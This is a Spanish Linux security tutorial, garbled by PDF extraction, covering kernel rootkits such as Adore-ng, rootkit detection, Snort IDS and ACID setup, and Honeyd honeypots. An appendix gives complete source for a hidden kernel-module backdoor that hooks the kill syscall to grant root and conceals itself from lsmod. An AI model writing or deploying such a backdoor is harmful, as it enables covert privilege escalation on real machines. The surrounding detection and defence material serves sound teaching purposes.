Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
